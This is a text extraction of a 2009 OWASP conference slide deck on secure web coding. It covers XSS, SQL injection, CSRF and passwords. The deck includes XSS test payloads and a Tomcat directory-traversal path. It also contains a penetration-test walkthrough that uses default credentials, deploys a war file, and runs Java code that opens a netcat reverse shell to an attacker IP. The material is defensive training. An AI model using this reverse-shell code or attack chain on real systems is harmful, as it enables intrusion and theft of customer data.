Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

45
Ten Things Web Developers Ten Things Web Developers Still Aren't Doing Frank Kim Thi k S it C lti Think Security Consulting

Transcript of Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Page 1: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Ten Things Web Developers Ten Things Web Developers Still Aren't Doing

Frank KimThi k S it C ltiThink Security Consulting

Page 2: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Background

Frank Kim– Consultant, Think Security Consulting– Security in the SDLCSecurity in the SDLC– SANS Author & Instructor

DEV541 Secure Coding in Java/JEE• DEV541 Secure Coding in Java/JEE• DEV534 Secure Code Review for Java Web Apps

D d– Dad

2Securitybyte & OWASP AppSec Conference 2009

Page 3: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

3Securitybyte & OWASP AppSec Conference 2009

Page 4: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Cross Site Scripting (XSS)

Occurs when unvalidated data is displayed back to the browser Types of XSSTypes of XSS

– ReflectedS d– Stored

– Document Object Model (DOM) based

4Securitybyte & OWASP AppSec Conference 2009

Page 5: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

XSS in Action

5Securitybyte & OWASP AppSec Conference 2009

Source: http://news.netcraft.com/archives/2008/04/24/clinton_and_obama_xss_battle_develops.html

Page 6: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Thing[0]

Validate all input– Specify variable types– Limit the size of input

0

Limit the size of input– Validate on the server side

I i l d Input can include– Form fields, cookies, headers, , , ,

parameters, web services

6Securitybyte & OWASP AppSec Conference 2009

Page 7: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Typical XSS Testing

During security testing passed in the following to an input field– <script>alert('xss')</script>

Resulted in an alert box popping upN tifi d th d ith t t Notified the vendor with steps to recreate

7Securitybyte & OWASP AppSec Conference 2009

Page 8: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Not Really Fixed

Vendor notified us that it's fixed Retested by passing in the same input

<script>alert('xss')</script><script>alert( xss )</script>

Thought it was fixed until we entered/<script>confirm('xss')</script>

<script>prompt('xss')</script>

8Securitybyte & OWASP AppSec Conference 2009

Page 9: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Thing[1]

Prefer whitelists to blacklists

9Securitybyte & OWASP AppSec Conference 2009

Page 10: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Thing[2]

Use well known and carefully tested validation code– Can be in-house codeCan be in house code– Apache Commons Validator

OWASP ESAPI Enterprise Sec rit API– OWASP ESAPI – Enterprise Security APIValidator v = ESAPI.validator();boolean isValidAge = gv.isValidInteger("Age", "42", 0, 999, false);

10Securitybyte & OWASP AppSec Conference 2009

Page 11: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Thing[3]

Canonicalize before validating– Process of converting data to its

simplest formp

ESAPI automatically canonicalizes data before validatingdata before validating Can explicitly canonicalizeString encoded =

"%3Cscript&#x3E;alert%28%27xss&#39%29%3C%2Fscript%3E";Encoder encoder = ESAPI.encoder();

i i i i

11Securitybyte & OWASP AppSec Conference 2009

String decodedString = encoder.canonicalize(encoded);

Page 12: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Canonicalization Example

Tomcat Dir Traversal Vulnerability– CVE-2008-2938

example com/contextRoot/%c0%ae/example.com/contextRoot/%c0%ae/WEB-INF/web.xml

All t t t d fil– Allows access to protected files

Normally the "." character is– Decimal 46– Hex 2E

12Securitybyte & OWASP AppSec Conference 2009

– Binary 00101110

Page 13: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

UTF-8 Overview

Variable width encoding of 1-4 bytes Leading control bits indicate the size

0xxxxxxx– 0xxxxxxx– 110yyyxx 10xxxxxx– 1110yyyy 10yyyyxx 10xxxxxx– 11110zzz 10zzyyyy 10yyyyxx 10xxxxxxyyyy yyyy

Value is the concatenation of the non-control bits

13Securitybyte & OWASP AppSec Conference 2009

non-control bits

Page 14: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Invalid UTF-8 Sequences

14Securitybyte & OWASP AppSec Conference 2009

Source: http://en.wikipedia.org/wiki/UTF-8

Page 15: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Overlong UTF-8

%c0 %ae

192 174

11000000 10101110

15Securitybyte & OWASP AppSec Conference 2009

Page 16: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Canonicalization

Canonical form of a UTF-8 character Canonical form of a UTF-8 character – Smallest number of bits that can

t th t h trepresent that character

Failing to perform proper canonicalization can allow invalid inputinput

16Securitybyte & OWASP AppSec Conference 2009

Page 17: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Thing[4]

Perform output encoding/escapingE d d ESAPI d ()Encoder encoder = ESAPI.encoder();String encodedString =

encoder.encodeForHTML("<script>alert('xss')</script>");

Results in the following string&lt;script&gt;alert&#40;&#39;xss&#39;&#41;&lt;&#47;script&gt;

The encodeForHTML method takes a whitelist approachpp– Certain chars (alphanumeric, comma, period,

dash, underscore, space) are safe and

17Securitybyte & OWASP AppSec Conference 2009

everything else is HTML encoded

Page 18: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Thing[5]

Utilize the appropriate pp pencoding/escaping– HTML element & HTML attributes – use HTML element & HTML attributes use &#xDD; encoding

– JavaScript – use \xHH escapingJavaScript use \xHH escaping– URL – use %HH escaping

OWASP XSS P ti Ch t Sh t OWASP XSS Prevention Cheat Sheethttp://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prev

ention Cheat Sheet

18Securitybyte & OWASP AppSec Conference 2009

_ _

Page 19: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

SQL Injection (SQLi)

Occurs when dynamic SQL queries are used By injecting arbitrary SQL By injecting arbitrary SQL

commands, attackers can extend the meaning of the original querymeaning of the original query Can potentially execute any SQL

statement on the database

19Securitybyte & OWASP AppSec Conference 2009

Page 20: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Mass SQL Injection Attacks

20Securitybyte & OWASP AppSec Conference 2009

Page 21: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Mass SQL Injections

Targeted MS SQL Server based appsg Q pp Attackers send SQLi code to all fields

All VARCHAR fi ld i h db d d All VARCHAR fields in the db updated with links to malicious JavaScript JavaScript downloads malware

OS browser and plugin exploits– OS, browser, and plugin exploits

Was the result of poorly written code

21Securitybyte & OWASP AppSec Conference 2009

Page 22: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

22Securitybyte & OWASP AppSec Conference 2009

Page 23: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Thing[6]

Use parameterized queries Use parameterized queries correctly BAD code example:

St i "SELECT id FROM WHERE idString query = "SELECT id FROM users WHERE userid = '" + userid + "'";

PreparedStatement stmt = St t t( )con.prepareStatement(query);

ResultSet rs = stmt.executeQuery();

23Securitybyte & OWASP AppSec Conference 2009

Page 24: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Preventing SQL Injection

GOOD code example: GOOD code example:

String query = "SELECT id FROM users WHERE userid = ?";PreparedStatement stmt = con.prepareStatement(query);query.setString(1, userid);ResultSet rs = stmt.executeQuery();ResultSet rs stmt.executeQuery();

24Securitybyte & OWASP AppSec Conference 2009

Page 25: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Cross Site Request Forgery (CSRF)

25Securitybyte & OWASP AppSec Conference 2009

Page 26: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Thing[7]

Use Anti-CSRF tokensI l d thi i th t th t th – Include something in the request that the attacker does not knowJSP code– JSP code

<form name=form"><input type="hidden" name="<csrf:token-name/>"

/ /value="<csrf:token-value/>"/></form>

– Results in this HTML<form name=form"> <input type="hidden" name="OWASP_CSRFTOKEN"

value="GT6Y-8JRT-0SUD-FRV8-YS40-5N0N-LST9-YG2U"/>

26Securitybyte & OWASP AppSec Conference 2009

value GT6Y 8JRT 0SUD FRV8 YS40 5N0N LST9 YG2U /></form>

Page 27: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

CSRFGuard

On the server side On the server side

String oToken = (String)session.getAttribute(context.getTokenName());

String nToken = (String)request.getParameter(context.getTokenName());

...if(!oToken.equals(nToken)) {/** FAIL: request token doesn't match the session token **/throw new CSRFException("request token doesn't match the session token", oToken, nToken);

}

27Securitybyte & OWASP AppSec Conference 2009

Page 28: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Twitter Hacked

28Securitybyte & OWASP AppSec Conference 2009

Page 29: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

A Real World Pentest

Pentest an internally deployed vendor product We only have the sign-on page for We only have the sign on page for

the product admin consoleN t l bl t SQL I j ti– Not vulnerable to SQL Injection

29Securitybyte & OWASP AppSec Conference 2009

Props to Wilson Henriquez for this hack

Page 30: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Forced Browsing

Manually navigate to the docs dir Product documentation is displayed

Admin and Installation Guides– Admin and Installation Guides– Reveals default userid and password

Could the defaults still be in use? Yes!Yes!

30Securitybyte & OWASP AppSec Conference 2009

Page 31: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Admin Tool Compromised

Now we can– Reconfigure the application– Shutdown application services– Shutdown application services– View logs

Who cares?– Can’t get to the host OSg– Can’t access PII & corporate data

We need more!31Securitybyte & OWASP AppSec Conference 2009

We need more!

Page 32: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Repeat the Process

Go back to the Install Guide– Reveals that the product can be

deployed with Apache Tomcatp y p– Tomcat’s admin manager is at

/manager/html/manager/html

Is Tomcat available?

32Securitybyte & OWASP AppSec Conference 2009

Page 33: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Yes it is!

33Securitybyte & OWASP AppSec Conference 2009

Page 34: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Guess the Tomcat Password

Now we need to login to Tomcat The documentation tells us that

"admin" is the default useridadmin is the default userid– So we need to guess the password

Could it be?– The same as the default password for p

the vendor product

34Securitybyte & OWASP AppSec Conference 2009

Page 35: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Tomcat Manager

35Securitybyte & OWASP AppSec Conference 2009

Page 36: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

What Next?

Tomcat Manager allows you to g yremotely deploy a web app

Simply need to upload a war file– Simply need to upload a .war file

Can create a web app that– Serves malware– Phishing sitePhishing site– Executes arbitrary OS commands

Many other possibilities

36Securitybyte & OWASP AppSec Conference 2009

– Many other possibilities

Page 37: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Our Malicious Web App

In Java code use netcat to shovel a In Java code use netcat to shovel a reverse shell to the attacker from the serverthe servernc –e cmd.exe <attacker IP> <port>

Set up a netcat listener on the attacker's machinenc –l –p <port>

37Securitybyte & OWASP AppSec Conference 2009

Page 38: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Java Code

Determine Tomcat's root install dir Determine Tomcat s root install dirProcess process =

Runtime.getRuntime().exec("cmd.exe /C cd");BufferedReader br = new BufferedReader( new

InputStreamReader(process.getInputStream()) );String rootDir = br.readLine();

Start the netcat reverse shellString cmd = rootDir + "\webapps\Backdoor\WEB-INF\"

+ "nc.exe -e cmd.exe " + ip + " " + port;Runtime.getRuntime().exec(cmd);

38Securitybyte & OWASP AppSec Conference 2009

Page 39: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

We're In!

Start the netcat listener

Reverse shell connects and provides access to the server

39Securitybyte & OWASP AppSec Conference 2009

Page 40: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

What Now?

We can do a lot of malicious things We can do a lot of malicious things But our primary goal is to steal the

company's most important asset– PII and customer data

The product install guide states thatLDAP d JDBC d t d i – LDAP and JDBC passwords are stored in properties files

40Securitybyte & OWASP AppSec Conference 2009

Page 41: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Game Over

Simply use the server info and credentials in the properties file to connect to the databaseconnect to the database

41Securitybyte & OWASP AppSec Conference 2009

Page 42: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Thing[8] & Thing[9]

Employ password protections Employ password protections– Enforce a strong password policy

•Don't use default passwords

– Implement account lockout– Implement strong password reset

Encrypt authentication credentials Encrypt authentication credentials– Passwords, secret question answers, etc

42Securitybyte & OWASP AppSec Conference 2009

Page 43: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Tomcat Manager

WASC Distributed Open Proxy Honeypot– Brute forcing is still occurring today

http://tacticalwebappsec.blogspot.com/2009/10/wasc-honeypots-apache-tomcat-admin.html

43Securitybyte & OWASP AppSec Conference 2009

Page 44: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

44Securitybyte & OWASP AppSec Conference 2009

Page 45: Frank Kim - Ten Things Web Developers Still Aren't Doing.ppt

Thank You

Frank Kim– [email protected]

45Securitybyte & OWASP AppSec Conference 2009